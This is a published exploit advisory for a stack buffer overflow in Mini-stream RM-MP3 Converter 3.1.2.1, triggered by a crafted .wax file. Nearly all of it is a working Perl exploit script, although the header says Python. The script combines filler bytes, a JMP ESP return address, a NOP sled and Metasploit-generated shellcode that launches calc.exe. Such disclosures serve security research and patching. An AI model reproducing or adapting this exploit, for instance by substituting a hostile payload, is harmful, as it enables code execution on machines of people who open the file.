Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 (.wax) Buffer Overflow

2014.10.29
Credit: ZoRLu
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Title : Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 (.wax) Buffer Overflow # Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com # Home : http://milw00rm.com / its online # Date : 28.10.2014 # Python : V 2.7 # Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others my $file = "exploit.wax"; #dont change file name if change file name you must change $filepath my $junk = "\x41" x 43516; my $eip = "\xC3\x9c\xC8\x75"; #75C89CC3 JMP ESP | bad char: \x09\x0a my $oyala = "\x90" x 100; #tested on my windows 7 ultimate for file name "exploit.wax" if its not true path your windows you can change it for you my $filepath = "\x01\x00\x00\x00\x00\x00\x00\x00". # ....... "\xCA\x84\xB2\x75\x4C\x00\x31\x00". # ???uD.2. "\x22\x00\x00\x00\x43\x3A\x5C\x55". # "...C:\U "\x73\x65\x72\x73\x5C\x61\x64\x6D". # sers\adm "\x69\x6E\x5C\x44\x65\x73\x6B\x74". # in\Deskt "\x6F\x70\x5C\x65\x78\x70\x6C\x6F". # op\explo "\x69\x74\x2E\x77\x61\x78\x00\x00"; # it.wax.. #msfpayload windows/exec EXITFUNC=seh CMD=calc.exe R | ruby msfencode -e x86/alpha_upper -t c my $shellcode = "\x89\xe5\xd9\xc2\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x43". "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34". "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41". "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58". "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4b\x39\x43\x30". "\x45\x50\x43\x30\x45\x30\x4c\x49\x5a\x45\x56\x51\x49\x42\x52". "\x44\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x51\x42\x54\x4c\x4c\x4b". "\x56\x32\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f\x4f\x47\x50". "\x4a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c". "\x43\x51\x43\x4c\x54\x42\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54". "\x4d\x43\x31\x49\x57\x4b\x52\x4c\x30\x56\x32\x50\x57\x4c\x4b". "\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x43\x31\x58\x50\x4c". "\x4b\x51\x50\x43\x48\x4b\x35\x4f\x30\x54\x34\x51\x5a\x43\x31". "\x4e\x30\x56\x30\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47". "\x50\x43\x31\x49\x43\x5a\x43\x47\x4c\x47\x39\x4c\x4b\x56\x54". "\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e". "\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x58\x47\x50\x38\x4d\x30". "\x54\x35\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51". "\x34\x52\x55\x4d\x32\x50\x58\x4c\x4b\x50\x58\x51\x34\x45\x51". "\x49\x43\x52\x46\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x56\x38\x45". "\x4c\x43\x31\x4e\x33\x4c\x4b\x43\x34\x4c\x4b\x45\x51\x58\x50". "\x4d\x59\x50\x44\x47\x54\x51\x34\x51\x4b\x51\x4b\x45\x31\x56". "\x39\x50\x5a\x56\x31\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x50\x5a". "\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d\x52\x4a\x45\x51\x4c". "\x4d\x4b\x35\x4f\x49\x43\x30\x45\x50\x43\x30\x56\x30\x45\x38". "\x56\x51\x4c\x4b\x52\x4f\x4c\x47\x4b\x4f\x4e\x35\x4f\x4b\x4b". "\x4e\x54\x4e\x50\x32\x5a\x4a\x45\x38\x49\x36\x4d\x45\x4f\x4d". "\x4d\x4d\x4b\x4f\x4e\x35\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4d". "\x50\x4b\x4b\x4b\x50\x54\x35\x54\x45\x4f\x4b\x50\x47\x54\x53". "\x52\x52\x52\x4f\x43\x5a\x45\x50\x56\x33\x4b\x4f\x49\x45\x43". "\x53\x45\x31\x52\x4c\x43\x53\x56\x4e\x45\x35\x54\x38\x45\x35". "\x45\x50\x41\x41"; open ($FILE, ">$file"); print $FILE "$junk.$eip.$oyala.$shellcode.$filepath"; close ($FILE);


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